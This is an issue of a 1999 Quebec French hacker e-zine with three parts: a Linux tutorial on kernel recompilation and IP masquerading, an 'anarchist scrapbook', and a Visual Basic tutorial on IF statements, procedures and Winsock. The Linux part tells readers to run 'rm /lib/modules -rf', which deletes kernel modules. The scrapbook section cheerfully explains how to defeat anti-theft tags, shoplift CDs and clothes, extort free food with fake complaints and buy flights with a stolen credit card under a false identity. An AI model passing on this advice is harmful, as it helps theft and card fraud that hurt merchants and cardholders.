     Et bien sur si les States le font, nous le ferons aussi, apres
     tout on demande pas a un chien d'etre intelligent, on lui demande
     de nous suivre!
 
                                                                                   ; 
 '                                                                                 .
 :                                                                                 ;
 :                                                                                 '   
 ;                                                                 QWzykx          :  
 |                                                                                 :
 |_________________________________________________________________________________| 





 ===================================================================================================
                                                                                       Pub-O-sticker 
  <Wyze-Zine> lu freeq
  <Wyze-Zine> quelque chose de stupid a dire pour le ezine ?
  *** FreeQ has quit IRC ( <k!14>)
  <bismuth> tu peux tjrs mettre ca
  <bismuth> <Wyze-Zine> quelque chose de stupid a dire pour le ezine ?
  <bismuth> *** FreeQ has quit IRC ( <k!14>)
 
 ===================================================================================================



 ,---------------------------------------------------------------------------------,
 | [009]                                                                           |
 |                                Linux part #2                                    | 
 :                                 so called                                       :
 ;                  je ne parlerais quen presence de mon hamster                   :
 ,                                                                                 .
 .    

     /************************
     |   Linux For Dumb Ass
     |    (and squeegies)
     |        PART II
     |
     |      The Utility
     ////////////////////////

     Voici quelques extraits de notre pisode prcdant.
     "Comme les volvos ?"
     "La soeur de liloo ?"
     "Oui j'tcoute"
     "Ta yeule"
     "etc."

     C'est la qu'on est rendu.

     "Hey man! a fait 1 mois que j'ai Linux, pis je chie rien avec.
     Kc je peux faire ?"

     Ben tu peux faire du Caf. COFEE-HOWTO (c'est pas une joke en passant (: )
     Pis sinon, tu peux te faire un petit firewall, comme a tu peux coeurer tes amis
     pis ils pourront pas faire planter ton WinBlows9x ! (FANTASTIQUE !)
     Et en plus, tu peux partager un lien internet avec tout un rseau local!
     Et faire chier vidotron en plus, lgalement !
     (COOL, MA POUVOIR COEURER LE MONDE! NANANREUH!)
     Ta Yeule.
     "Ok."

     Bon, alors, on y va. Si tu as install RedHat comme je l'avais dis,
     ya pas grand chose  faire. Sinon, le fun commence.

     ************ DBUT DU FUN NOIR *****************
     Bon, mettons t'as install la distri IGA-Linux 0.1b :] <subliminal>
     Pis que ta carte rso MARCHE. (#linuxqc pour les help, on est fort la dessus)
     Pis la le kernel mesure 2k :)
     ben ya bien des chances que le support pour (attention le long mot)
     IP MASQUERADING (masquarade d'ip en Frana !) sois pas mis.

     Fake suis les instructions suivantes.

     habituellement les sources du kernel sont plac dans /usr/src/linux
     ou dans /usr/src/linux-<version> (ex: linux-2.0.36)

     mais anyway ya souvent un lien linux@ ->linux-2.0.36
     (WOw man, la tu m'As fourr !
      - c'Tait tu bon aumoisn ? ;P)

     Ok baquet, ecoute donc.
     La un fois dans le reprtoir linux

     [ttyp0][root@modemcable229]
     /usr/src/linux> make menuconfig [ENTER]

     rm -f include/asm
     ( cd include ; ln -sf asm-i386 asm)
     make -C scripts/lxdialog all
     make[1]: Entering directory `/usr/src/linux-2.0.36/scripts/lxdialog'
     gcc -O2 -Wall -fomit-frame-pointer -DLOCALE  -I/usr/include/ncurses -DCURSES_LOC="<ncurses.h>"   -c lxdialog.c -o lxdialog.o
     lxdialog.c: In function `main':
     lxdialog.c:126: warning: assignment of read-only location
     gcc -O2 -Wall -fomit-frame-pointer -DLOCALE  -I/usr/include/ncurses -DCURSES_LOC="<ncurses.h>"   -c checklist.c -o checklist.o
     gcc -O2 -Wall -fomit-frame-pointer -DLOCALE  -I/usr/include/ncurses -DCURSES_LOC="<ncurses.h>"   -c menubox.c -o menubox.o
     menubox.c: In function `print_item':
     menubox.c:32: warning: unused variable `i'
     gcc -O2 -Wall -fomit-frame-pointer -DLOCALE  -I/usr/include/ncurses -DCURSES_LOC="<ncurses.h>"   -c textbox.c -o textbox.o
     textbox.c: In function `print_line':
     textbox.c:454: warning: unused variable `i'
     gcc -O2 -Wall -fomit-frame-pointer -DLOCALE  -I/usr/include/ncurses -DCURSES_LOC="<ncurses.h>"   -c yesno.c -o yesno.o
     gcc -O2 -Wall -fomit-frame-pointer -DLOCALE  -I/usr/include/ncurses -DCURSES_LOC="<ncurses.h>"   -c inputbox.c -o inputbox.o
     gcc -O2 -Wall -fomit-frame-pointer -DLOCALE  -I/usr/include/ncurses -DCURSES_LOC="<ncurses.h>"   -c util.c -o util.o
     gcc -O2 -Wall -fomit-frame-pointer -DLOCALE  -I/usr/include/ncurses -DCURSES_LOC="<ncurses.h>"   -c msgbox.c -o msgbox.o
     gcc -s -L .  lxdialog.o checklist.o menubox.o textbox.o yesno.o inputbox.o util.o msgbox.o  -lncurses -o lxdialog


	<wyzeman> nous nous excuson du fait que Synoptic semble avoir pris recamenet possession d'un ecran
                  au lithium

     Preparing something..

      Linux Kernel v2.0.36 Configuration
      qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
       lqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq Main Menu qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqk
       x  Arrow keys navigate the menu.  <Enter> selects submenus --->.  Highlighted letters are hotkeys.       x
       x  Pressing <Y> includes, <N> excludes, <M> modularizes features.  Press <Esc><Esc> to exit, <?> for     x
       x  Help.  Legend: [*] built-in  [ ] excluded  <M> module  < > module capable                             x
       x                                                                                                        x
       x lqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqk x
       x x                     Code maturity level options  --->                                              x x
       x x                     Loadable module support  --->                                                  x x
       x x                     General setup  --->                                                            x x
       x x                     Floppy, IDE, and other block devices  --->                                     x x
       x x                     Networking options  --->                                                       x x
       x x                     SCSI support  --->                                                             x x
       x x                     Network device support  --->                                                   x x
       x x                     ISDN subsystem  --->                                                           x x
       x x                     CD-ROM drivers (not for SCSI or IDE/ATAPI drives)  --->                        x x
       x x                     Filesystems  --->                                                              x x
       x x                     Character devices  --->                                                        x x
       x x                     Sound  --->                                                                    x x
       x x                     Kernel hacking  --->                                                           x x
       x x                     ---                                                                            x x
       x x                     Load an Alternate Configuration File                                           x x
       x x                     Save Configuration to an Alternate File                                        x x
       x x                                                                                                    x x
       x x                                                                                                    x x
       x x                                                                                                    x x
       x x                                                                                                    x x
       x x                                                                                                    x x
       x x                                                                                                    x x
       x x                                                                                                    x x
       x x                                                                                                    x x
       x x                                                                                                    x x
       x x                                                                                                    x x
       x x                                                                                                    x x
       x mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqj x
       tqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqu
       x                                    <Select>    < Exit >    < Help >                                    x
       mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqj


     <Wyzeman> on dirait vraiment un screeshot :]

     Cool hein ?? la jespere que tu vas catcher !
     Bon, la tu descend le curseur jusqua Networking option
     pis pese su la suce
     (hein quelle suce !?!?
      - celle la --> PAF!
      - Ouch! innocent, m'as t'en crisser une mo --> BANG!
      - Ah ouin, assaye donc ma douze Dual Head AGP 32 MB !
      - Ok, ok, scorrect, jme rends
      - t'es mieux :P)

     bon la tu vois plein de gugu.
     assure toi que ces options la sont dememe:

                         [*] IP: masquerading                                                                 x x
       x x               --- Protocol-specific masquerading support will be built as modules.                 x x
       x x               [ ] IP: ipautofw masquerading (EXPERIMENTAL)                                         x x
       x x               [*] IP: ICMP masquerading                                                            x x
       x x               [ ] IP: transparent proxy support (EXPERIMENTAL)                                     x x
       x x               [*] IP: always defragment                                                            x x
       x x               [*] IP: accounting                                                                   x x
       x x               [ ] IP: optimize as router not host        
 
     bon.
     un fois ca faite, c le fun qui commence, tu fais exit, exit, Yes,
     bon.

     la t revenu au prompt ( l'invite pour ceux de Qubec :P)

     pis la, devinne koi !?!?
     ( - C'est fini ?
       - Non epais, faut que tu recompile ton kernel!)

     *************************************
     *
     * WARNING! WARNING! WARNING! WARNING! 
     * WARNING! WARNING! WARNING! WARNING!
     * 
     * Chus pas responsable si ca chie. :P
     *

     Ok, bon
     premiere chose a faire, c deleter les  modules actuels puisque qu'ils risquent
     de contenir la versiion du header du kernel. 
     (WTF !?!
      - Ta yeule, pis fais ce ke je te dis
      - Gne gne...... tu pues.)

     Bon fais ca:

      "rm /lib/modules -rf"

     La les modules sont mort
     La les modules sont dead
     Moi j'aime ca les modules effouars
     J'aime ben ca quand chus fatigu

     (c) Alliance BARF-Synoptic
           Tous droits reservs
                           1999

     ok NEXT ! 

     (- O ca !?!?
      - ...)

     bon la revient dans /usr/src/linux

     pis prie. :P

     fais make dep; make clean; make zlilo; make modules; make modules_install; make install [ENTER]

     Si ta un 486, va donc te coucher.
     Si ta un p166, attends
     Si ta un P3 600, c dja fini.

     Ah btw, si jamais ca chie en disant kkchose genre "Kernel too big"
     remplace le zlilo par bzlilo, ca va passer.

     Bon, mettons la compile passe (y !)

     Tu reboot pis tout est beau (y !)


     #------------------ FIN DE CEUX QUI ONT PAS REDHAT ----------------------------#
     #------------------ DEBUT CONFIG COMMUN ---------------------------------------#
     Bon, la tu veux faire le ipmasquerading en fonction.

     ys 2 facons.

     a) pour les kernel 2.2.x
     b) pour les kernel 2.0.3x


     Avant, faut ke tu aie configur un Carte rso pour une ip locale
     soit eth1 (deuxieme carte PHYSIQUEMENT prsente)
     ou soit eth0:0 (carte rso virtuelle, en fait c'Est une deuxieme assignatin d'adresse a eth0)
     bon whatever, tu adapte en consquence pour l'exemple.


     ma y aller avec a)

     bon. edit ton fichier /etc/rc.d/rc.local

     pis ajoute ces lignes la:

        ipchains -P forward DENY                                          #default rule, we deny EVERYTHING
        ipchains -A forward -s 192.168.1.0/24 -j MASQ                     #ipmasquerading rule
                               ^^^^^^^^^^^
                               adresse IP LOCALE DU RSEAU correspondant a eth1 ou eth0:0 genre.

       l'adresse ip de la carte ici pourrait varier de 192.168.1.1  192.168.1.254.
       Bon ben naturellement, tu adapte l'adresse ip avec celle que ta choisi
       (souvent 192.168.1.0 ou 192.168.0.0) --> tout dpendement de l'ip de la carte locale.

     bon si ca c fait, pis ya pas de message d'erreur, t un king.
     il reste juste a configurer ta Winblows Box !!

     ok, la ma faire ca vite.

     dans les setting tcpip de win9x ou NT ou Mac, tu met une ip locale 
     192.168.1.2 (genre)
     le netmask tu met
     255.255.255.0 (genre)
     pis le GATEWAY tu met l'ip de la carte rso local de ta box
     192.168.1.1

     dans DNS tu mes les serveur DNS de ton provider
     205.151.222.250
     205.151.222.251
     (Vidotron ici) 
     <Wyzeman> wow,syno, ta ouvers ton ti livre jaune de videotron a page 3? :]

     pis thats it. :P tu reboot !

     pis la magie, ca marche ! hey hey !!
     <Wyzeman> si tavais win2k tu serais meme pas oubliger de rebooter, stu pas fort ca :]


     Mais la, ya des fucks, FTP chie, ICQ chie, IRC chie, pis le pire, QUAKE chie !!!!

     pas d'panique tabanak!

     ajoute ces lignes la au fichier rc.local de tantot:

     cd /lib/modules/[version du kernel]/ipv4
             modprobe ip_gre.o
             modprobe ip_masq_ftp.o
             modprobe ip_masq_portfw.o
             modprobe ip_masq_user.o
             modprobe rarp.o
             modprobe ip_masq_autofw.o
             modprobe ip_masq_irc.o ports=1024,6660,6661,6662,6663,6664,6665,6666,6667,6668,6669,7000
             modprobe ip_masq_quake.o
             modprobe ip_masq_vdolive.o
             modprobe ip_masq_cuseeme.o
             modprobe ip_masq_mfw.o
             modprobe ip_masq_raudio.o
             modprobe ipip.o

     pis ca devrait pus chier.

     NOTE: ca speut tres bien que il aille des modules qui existent pas, c pas grave, y sont
     si vitaux que ca.

     pour les FTP sois assur que a ctheur tu te connect en mode passif (PASV)
     IRC, les DCC vont marcher.
     Pour icq c plus toch.

     MA te donner le nom d'un fichier ben cool

                   ipmasqadm 

     trouve ca. (menute je cherche mes links.)
     ok bingo !

              voici MR. IPMASQ
	      Tout ce que tu veux faire marcher comme programme sur windows ma is
   	      qui veut rien savoir a cause du masquerading

                           http://www.tsmservices.com/masq/

   	      c'est LA rfrence. Sans farce, vas faire un tour. ca donne full truc.
 
     bon. Ben jpense que j'ai fini.

     ah non, pour les kernel 2.0.3x

     bon ok..
     meme principe, sauf dans le rc.local tu ajoute ca a la place

     ipfwadm -p deny
     ipfwadm -F -a m -S 192.168.1.0/24 -D 0.0.0.0/0

     pis les meme lignes pour les modules irc pis bleh.

     c toute.

     si ta dla misere ya un HOWTO la dessus !! ben oui!
     menute je te trouve le link..
 
   	     http://howto.linuxberg.com/LDP/HOWTO/mini/IP-Masquerade.html

     merveilleux hein !?!

     #- ---------------- ATTENTION USERS DE IRC AUTRE QUE UNDERNET ----------------------#
     LE IDENT MARCHERA PUS. IL EXISTE UN PROG POUR EMULER UN GENRE DE IDENT
	  	     mident
     CHERCHE LE, J'AI PAS PLUS D'INFO LA DESSUS. MAIS JLAI DJA FAIT MARCH YA 2 ANS :)

     <wyzeman> ou runer en mode idle un clien irc qui a sont propre ident server

     Bon ben c toute pour a soir.
     jvous reviens le mois prochain pour d'autre bebelle style RAID ou DHCP server..
     etc.

     Bonne nuit les copain, pis surtout bonne veille!!!

 '                                                                                 .
 :                                                                                 ;
 :                                                                                 '   
 ;                                                                Synoptic         :  
 |                                                                                 :
 |_________________________________________________________________________________| 





 ===================================================================================================
                                                                                       Pub-O-sticker 
  Nous avons recu instruction de notre ciente, Hydro-Quebec, de vous reclamer la somme
  de 25,02 $ que vous lui devez pour service d'electricite fourni a l'adresse citer si 
  haut, le tout celon leta de compte dejas envoyer. 

  Sur reception de la presente, veuillez faire parvenir a nos bureaux la sommes de 25,02 $
  plus les frais, qui selevent a 5,00 $ a defaut de quoi nous avons instruction dintenter
  contre vous des procedures judiciaires sans autre avis ni delai.

  Veuillez agir en consequencee. 

  <Wyzeman> bon ben jme sauve au perou.
 
 ===================================================================================================






 ,---------------------------------------------------------------------------------,
 | [010]                                                                           |
 |                          The anarchiste scrapbook                               | 
 :                                 so called                                       :
 ;                           he man jveu un 10 sous                                :
 ,                                                                                 .
 .    



     	 La vie coute chere. Le moindrement que l'on cherche a s'amuser un tantinet
  notre portefeuille nous retourne vite a  la  realite.  Mais  nous, nous sommes des 
  gros mechant hacker. pourquoi payer alors que  le  citoyen  modele s'aquiete de se 
  role avec une devotion casi surhumaine?? Et oui hein, pourquoi payer, lorsque avec
  un minimum de talent et d'imagination vous pourriez vivre une vie de roi  avec  un
  salair d'emballeur chez IGA. Sachez etre opportuniste. Ne  ratez pas votre chance,
  La vie est trop courte pour etre perdu  en  stupid heure de travaile abrutissante. 
  Bien evidament il faut de  l'argent pour vivre.  Et  travailler  est un moyen tres 
  honorable de gagner  sa vie. Mais un honetre homme a besoin de loisir, et c'est la
  que ca coute chere. Il exite toute sorte de moyen plus ou moin honete deconomiser.
  Et dans le pire des cas, si  vous  vous  faites  pognier, c toujours moin pire que 
  d'etre acuser de fraude fiscall, Plaidez la distraction,  ca marche a 75% des cas,
  et de toute facon, les prisons d'eborde. Les conditions  etant favorable, pourquoi
  ne pas en profiter pour apprendre toute cest crosse  qui vous permetrons  de  vous
  divertire a peu de  frais.  Pourquoi  pas  passer  le  squeege  ???  pcq  ca  vous 
  reviendrais  plus  chere en frais dhabillement (deguisement) que ne genererais vos
  profit. Et puis c'est truc la cest bon pour le monde de montreal, nous on vient de
  quebec, nous anarchison avec classe. Alors ma petite  gang  d'anarchiste en veston
  cravate. Pret a aprendre ? Allez  gang  de  pseudo  anarchiste quebecois. vide vos 
  salliere sur la table au mcdo.



 	  Evidament tout le monde connais le truc du billet de cinema a prix modique.
  On va voir un film et ca fini quon a passer la journee  au  cinema.  Ca revien meme
  moin chere que de louer  des  film,  et  ca  plus  de classe. comme se truc date de 
  mathusalem, je ne mi attarderais pas plus que  de  simplement le mentionner, et dis 
  ajouter 2 recomendation.

  1) payer pour le film le plus populaire. 
  2) c une bonne facon daller voir un film 18 ans et + quand ten a juste 15. 
     (aka  fight club :]) evidament ici vous prennez des billets pour pokemon
     et vous vous glissez dans la salle de fight club. 


	He le nouveau cd de Korn  vien  de  sortir, 20$.. fuck, i me reste juste 5$
  (ca coute chere le maudit pop korn :] ). Le volee ? ouais pas bete spa chere ca. au
  pire jdirais que jai oublier de payer (disont). merde spa mon jour ya des detecteur
  au porte. et le beau  stiker blanc pas decolable ca pochette. (enfin pas  decolable
  de maniere discrete). Pas grave, on va revenir demain, et se soir on va se faire un
  jolie petit demagnetiseur. He oui cest machin la son demagnetiser par le vendeur au
  moment de l'achat, pourquoi pas se builder  un  demagnetiseur   portatif ???? ouais 
  pourquoi pas. quesqu'on a a perdre outre notre  reputation  d'ecolier modele et une 
  vie qui aurais pu etre des plus prometeuse? He on rate tous notre vie un jour, alors
  pourquoi remetre a demain ce que nous pouvons faire aujourd'hui ? Bon, notre dileme
  de concience resolut (methode filliere 13)  nous sommes maintenant pret a proceder. 
  comment faire un   demagnetiseur ???? et puis pourquoi se casser la tete, un aimant
  fera tres  bien  l'affaire.  apres tout, faut etre efficace et cheap, comme un vrai
  anarchiste.



	  Hum, he me faudrais bien des pentalon avec des poches bien positionner pour 
  volee les CD (pentalon cargo).  Mais  bon,  avec  mon  budget,  meme  chez  croteau 
  jpourrais pas m'en permettre. Et arf, la aussi y'a un systeme de securite, et merde
  spa des ti cossin qui colle, c'est des gros snap blanc  relies a un plus petit avec
  un fils de fers et tres bien ajuster sur le vetement. peu etre en tirant dessus, je
  vais reussir. Oublie ca mec, c'est affaire  la  c la poise, si tu brise le plastic, 
  ca va faire sonner l'alarme,  c'est  tu  pas cute a ton gout? Bon ben il va falloir 
  amener une paire de cutter et couper le fils de metal afin d'enlever les devices de
  plastic. Bon maintenant on peu prendre les pentalons (ouais la  faut  etre discret, 
  avoir  dejas  un  sac de linge d'une autre boutique peu aidez beaucoup. Nous sommes
  maintenant armee et pret a allez recuperer notre cD de Korn.


	  bon, tout ca donne faim, et on a toujours notre 5$. A rf  on  a  pas  grand 
  chose  pour 5$, C'est asser pour un big king, Alors on va  au  BK et on commende un 
  BIG KING.  Oauis c bien bon, mais jai manger le 3/4 et j'ai  encore faim. Evidament
  tout le monde  sais  que  le client a toujours  raison.  alors allons nous astiners
  un peu avec la caissiere et ensuite la gerante,  en  chialant qui a une broche, une
  punaise, un cheveu ou  le  titanic dans notre  BIG  KING. C'est un fait etablie ils
  vont vous en donnez un  autres, juste pour  que  vous vous fermiez la gueulle et si
  c'est votre  jour de chance  vous  allez  avoir  un frite et un coke en prime. Hum, 
  beau bon pas chere. parfait pour notre budget d'anarchiste capitalisateur. 



	  Pour finir la journee, apres vous etes shooter a banadine (le  pot  c trop 
  chere, allez sur internet (viva les cd "essais  un   mois  gratuit"  de   msn  qui 
  marche 14 mois (go read IGA #4))  e t allez renflouer  votre  compte avec accessID  
  (voir   plus  haut  dans se ezine,  so called scroll up ). Merde  ya  un  branleur 
  qui vous a denoncez pour le vole du CD. C'est de temps de  s'enfuire  dans le sud.
  En tant que  bon  anarchiste, n'acception rien de moin que  la  1ere classe, apres 
  tout des maudites  pizza pochette ca fait 2 semiane quon mange  ca  a chaque repas
  ou presque. Denichez vous  un  CC  et reservez vous un  billets  premiere classe a 
  une identitee bidon  evidament, pour  le  vole   surcharger   du   lendemain.   Le 
  lendemain  rendez-vous  a  l'areoport,  et d'une cabine telephonique  annulee  vos 
  billets (vous navez pas eu le temps de vous faires faire des faux  papier  anyway.
  et aranger vous pour arrivez le plus serrer possible avec lheure  du  depard, pour
  acheter vos billet,  vous  benefirez aisni du rabais,  derniere  minute. Vous etes
  maintenant fin pret a   vous  envollez  pour   des  vacances  au Perou en premiere 
  classe. chic non ? ;]
 
                                                                                   .
 :                                                                                 ;
 :                                                                                 '   
 ;                                                                Wyzeman          :  
 |                                                                                 :
 |_________________________________________________________________________________| 





 ===================================================================================================
                                                                                       Pub-O-sticker 
  Obtener un Whopper gratuitement a l'achat d'un whopper et d'une frite de format
  moyen au prix regulier si vous etes normal.
 
 ===================================================================================================






 ,---------------------------------------------------------------------------------,
 | [011]                                                                           |
 |                                 VB tome 2                                       | 
 :                                 so called                                       :
 ;                             y'en reste 4 autre                                  :
 ,                                                                                 .
 .    

   ______________                             _____     __ _____
    |              |                           \     \   |  /     /
    |__          __|__ __    __ _____           \     \  | /     /__
       |        |     |  \  /  |     |      ___  \     \ |/     /   |
       |        | .   |   \/   |   --|   __|  _|  \     \/     / .  |
       |        |     |        |   --|  | .|  _|   \          /     |
       |________|_____|__|\/|__|_____|  |__|_|      \________/______|
     
      [Tome of VB part #2 of 6: The most-complete one [comprehensible]

       
      Hiho, im back from back? Okay. Voici la suite de mon premier      
      tutorial, contrairement a se quon croyait (jai lhabitude de
      pas finir mes suites) voici le 2-eme et comme promis je vais
      vous parler des boucles IF , des fonctions et procedures,
      des types public et prives, et des sockets. Donc commencons
      ou nous en etions rendu:




      LES FAMEUX IF:
      --------------

      le IF = "Si" en francais amene a creer des programmes qui s'interroge
      savoir "si une chose est via un facteur de comparaison a un autre
      possible :)". Par exemple, savoir si 5 est egale a 2 ou plus grand?
      le IF est la pour ca. Si on prend par exemple le cas suivant:


      Je veux faire bouger une form de gauche a droite dans l'ecran de facon
      a se quelle rebondisse quand elle touche les bords. 

      Donc vous commencez par definir la form1. Donnez lui une grandeur
      custom, on sen fout, le programme va tout gerer ca pour nous :) 

      -----------------------------------------------------------lecode.vb---
      Dim direction As Integer

      Private Sub Form_Load()
      direction = 0
      Form1.Show

      Do
      DoEvents


      If direction = 0 Then
      Form1.Left = Form1.Left - 10
      If Form1.Left <= 0 Then direction = 1

      Else

      Form1.Left = Form1.Left + 10
      If (Form1.Left + Form1.Width) >= Screen.Width Then direction = 0

      End If

      
      Loop Until 5 = 3
      End Sub
      -----------------------------------------------------------lecode.vb---

      Bon maintenant expliquons le code :). Sous VB on a des constantes systemes
      que j'apellerais, comme screen.width par exemple qui definis tjours une
      valeur numerique qui est egale au nombre de TWIPS dun ecran, vous devez
      savoir quen VB l'unit de calcul cest des TWIPS, pas des PIXELS, pour pouvoir
      faire le calcul des PIXEL a partir des TWIPS un autre constante existe pour
      chaque axe (X/Y) cest a dire screen.twipsperpixelX et twipsperpixelY
        
      Vous pouvez voir la variable "direction" de valeur numerique dans la
      declaration publique. On va affecter une logique a cette valeur, si elle
      contient 0 cest que la direction est GAUCHE et si cest 1 cest DROITE.
    
       
     Vous avez pus remarquer le DO/LOOP placer dans le code, qui defini un
     peu la routine de base du programme. vous remarquer la fin: LOOP UNTIL 5=3.
     cest a dire, "On sort de la boucle si 5 est egale a 3, sinon on recommence".
     Donc il est facile de comprendre que se programme n'aura pas de fin. 
     la boite de texte bougera sans arret. Mais cest une bonne exemple d'utilisation
     IF / ELSE. le ELSE est tres utile. il est utiliser dans le format:

     (IF X = 1 then {cmd1} else {cmd2} end if)
     SI X est egale a 1 fait ca ,sinon ca. 

     Donc la, je vous demandes un minimum dintelligence.

     Vous devriez avoir compris le code moindrement?
   
     Passons au prochain...

     N.B: La commande DOEVENTS permet de dire a windows de pas prendre tout
          le process time dans le loop et de checker si Windows aurait besoin
          de jus pour runner autre chose (un autre application par exemple).
          Ca permet de faire des loop rapides sans geler la machine.



     Fonctions et Procedures:
     ------------------------

     Et oui, les fonctions et procedures sont une partie interessante de
     la programmation. Ca permet d'optimiser son code et empecher la
     repetition useless. Parlons des procedures pour commencez. Si par exemple
     on a un petit packet de ligne qui prend une form, qui resize la grosseur
     dune form (X/W) :

     form1.width = 1000
     form1.height =  1200

     on pourrait bien faire ca:

     Sub resize_form1() 
  
     form1.width = 1000
     form1.height  = 1200

     end sub

     on peut tout placer dans des SUB (procedures) et les appeler de l'exterieur
     GENRE:

        

     Sub Form_load()

     resize_form1

     end Sub


     ---

     Chose interessante, on peut passer des informations directement dans
     une procedure :) :

     Sub resize_Form1(x,y as integer)

     form1.width = x
     form1.height = y

     end sub

     .
          


     Et oui on peut passer directement des variables de cette facon, prochaine
     conception? les fonctions.Identique a un SUB (procedure) mais ca retourne
     une fonction:

     function non_dla_function(x,y as integer) as boolean

     
     ceci est un exemple simple :}
 
     Voici un exemple de code qui utilise les fonctions et les Subs:
     (C'est le meme programme que plus haut)
     ------------------------------------------------------------------code.vb-

   
      Dim direction As Integer

      Private sub scroll_left(x as integer)
      Form1.Left = Form1.Left - x
      If Form1.Left <= 0 Then direction = 1
      end sub
      

      Private sub scroll_right(x as integer)
      Form1.Left = Form1.Left + x
      If size_from_Right >= Screen.Width Then direction = 0
      end sub

       
      Private function size_from_right as integer
      size_from_Right = form1.left + form1.width
      end function

      Private Sub Form_Load()
      direction = 0
      Form1.Show

      Do
      DoEvents


      If direction = 0 Then
 
      scroll_left(10)

      Else

      scroll_Right(10)
      End If

      
      Loop Until 5 = 3
      End Sub
    

     ------------------------------------------------------------------code.vb-

     TYPE Publique et priv:
     -----------------------


     il y a 2 types de variables sous VB, les PUBLIC et les PRIVATE. Leurs usages
     est identique, la seule difference cest que la variable priv se declare qua
     l'interieur dune procedure, tandis que l'autre se declare de nimporte ou :)
     Vous comprenez qu'il est tjours pratique de pouvoir caller une fonction ou
     une fonction unique pour tout un programme au lieu de la cloner pour chaque
     module. Par exemple, la variable DIRECTION si-haut est PUBLIC, on peut s'en
     servir nimporte ou, dans le code on l'apelle dans les 3 procedures:
    
        FORM_LOAD
        SCROLL_LEFT
        SCROLL_RIGHT

     Si elle n'aurais pas une nature publique on devrait la definir dans chacune
     de ses procedures/fonctions et elle ne garderait pas le contenu quon pourrait
     passer a un autre fonction. J'espere que vous commencez a saisir parce que
     cest une notion de base a comprendre a tout prix :) Il faut specifier que tout
     est definissable, pas seulement les variables. les procedures et fonctions,
     les constantes aussi. Pour l'instant on ne code que des programmes qui ne
     contiennent qu'une fenetre alors on n'aura pas a en parler tout de suite, mais
     dans les prochains articles sur le sujet on va de plus en plus utiliser les
     formes publiques de fonctions/procedures.


     SOCKETS( WINSOCK )
     -----------------------

     Bon maintenant on va parler des sockets, se qui est vraiment ma force a moi :)
     Un socket c'est une facon "SOFTWARE" de pouvoir gerer le TCPIP sous WINDOWS.
     J'espere que ce qui va suivre ne vous donnera pas l'idee de coder un programme
     de nuke, ca cest trop bidon :} Mais plutot un client-server. Pour cette fois-ci
     nous n'allons parler que de l'aspect CLIENT, c'est a dire "un programme qui se
     connecte a un serveur". Prochainement on parlera de l'aspect SERVEUR qui est de
     beaucoup plus compliquer.

     Bon, premierement il faut que vous ajoutiez un SOCKET a votre FORM , clicker 
     a l'aide du bouton droite de votre sourie sur le panneau des controles (vous
     savez , a gauche ou il y a des iconnes) et prenez l'option "Ajout composant".
     Dans la liste vous verrez a un endroit Microsoft Winsock Control, prenez-le.
     Vous devriez voir un nouvelle iconne dans votre panneau, draggez en un sur 
     votre form. L'objet par defaut s'appellera WINSOCK1. Maintenant voici quelque
     notions de TCP en Vb a comprendre.

  
     IP: Un IP est un nombre qui identifie votre machine quand vous etes sur un reseau
         TCP/IP. Il s'agit d'une valeur 32 bits separer par des points :

                    IE: 1.2.3.4, chaque chiffre a une valeur minimale de 0 et une max de 255

         Quand vous allez par exemple sur www.yahoo.com, votre machine resoue le NOM en IP
         et vous recevez le IP ou vous devez vous connectez, biensur tout ca cest transparent :}

          

     Port: Quand vous vous connectez vous devez vous branchez sur un PORT precis, un Port est
           en quelque sorte une porte avec un numero qui l'identifie. A la base c'est une valeur
           16 bits de 0 a 65535.

     Remote IP: Le IP de la machine a rejoindre
 
     Remote Port: Le Port de la machine a rejoindre

     Connection TCP: Une connection TCP est se quon apelle une connection duplexe complete. 
                     Vous pouvez envoyez et recevoir en meme temps. Lors d'une connection les
                     2 machines font du "handshaking" pour pouvoir verifier si tout est parfait
                     et si la connection peut avoir lieu, si le cas echeant un probleme survient
                     la connection n'aura pas lieu. Une fois connecter vous pouvez transferer et
                     recevoir de l'information de toute nature.

     Envoie/reception: Comme je vous l'ai dit on peut recevoir et envoyez en meme temps (duplex)
                       et tout se qui passe est en format 8bits donc aucune transformation specifique
                       n'est requise, vous envoyez "SALUT" et a l'autre bout il recevra "SALUT" :)
                       Aucun troncage 7bits a faire comme dans le cas du SMTP.


     Maintenant voici un exemple typique de code de connection:

     ---------------------------------------------------------------------------------socket.code------
     Private sub form_load()

     Winsock1.remotehost = "www.yahoo.com"
     Winsock1.remoteport = 80
     Winsock1.connect

     end Sub
     ---------------------------------------------------------------------------------socket.code------


     Si aucun probleme se produit, vous serez connecter, a noter que pour les utilisateurs de modemcables
     bizarres comme en europe, vous allez peut-etre devoir ajouter un code pour passer par le proxy 
     specifique requis. Mais bon si on en revient a notre code, cest pas tres bon parce quon peut pas
     controler les erreurs de connection, alors voici comment moi je ferais ca.

     ---------------------------------------------------------------------------------socket.code------
     Private Sub calc_one()
     dim time2 as string
     time2 = time
     do 
     doevents
     loop until time <> time2
     end sub


     Private sub form_load()
     dim timeout as integer


     Winsock1.remotehost = "www.yahoo.com"
     Winsock1.remoteport = 80
     Winsock1.connect

     do
     doevents
     calc_one

     if timeout = 10 then
     msgbox "Incapable d'etablir une connection"
     exit sub
     end if

     timeout = timeout + 1
     loop until winsock1.state = sckconnected 
     end Sub
     ---------------------------------------------------------------------------------socket.code------

     Bon ca l'air un peu melangant comme ca, mais j'utilise un proceder de verification de "timeout"
     dans le sens que si apres 10 secondes il n'y a pas de connection je creer un message d'erreur
